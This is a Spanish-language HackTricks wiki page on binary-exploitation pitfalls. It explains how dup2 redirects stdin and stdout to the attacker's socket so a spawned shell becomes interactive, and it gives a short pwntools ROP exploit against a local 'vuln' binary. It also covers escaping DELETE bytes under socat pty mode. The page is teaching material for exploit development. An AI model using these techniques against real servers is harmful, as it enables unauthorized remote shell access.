Common Exploiting Problems

Apoya a HackTricks

FDs en Explotación Remota

Al enviar un exploit a un servidor remoto que llama a system('/bin/sh') por ejemplo, esto se ejecutará en el proceso del servidor, y /bin/sh esperará entrada de stdin (FD: 0) y mostrará la salida en stdout y stderr (FDs 1 y 2). Por lo tanto, el atacante no podrá interactuar con el shell.

Una forma de solucionar esto es suponer que cuando el servidor se inició, creó el FD número 3 (para escuchar) y que luego, tu conexión estará en el FD número 4. Por lo tanto, es posible usar la syscall dup2 para duplicar el stdin (FD 0) y el stdout (FD 1) en el FD 4 (el de la conexión del atacante) para que sea factible contactar con el shell una vez que se ejecute.

Ejemplo de exploit desde aquí:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Ten en cuenta que socat ya transfiere stdin y stdout al socket. Sin embargo, el modo pty incluye caracteres DELETE. Así que, si envías un \x7f ( DELETE -) eliminará el carácter anterior de tu exploit.

Para eludir esto, el carácter de escape \x16 debe ser precedido a cualquier \x7f enviado.

Aquí puedes encontrar un ejemplo de este comportamiento.

Apoya a HackTricks

Last updated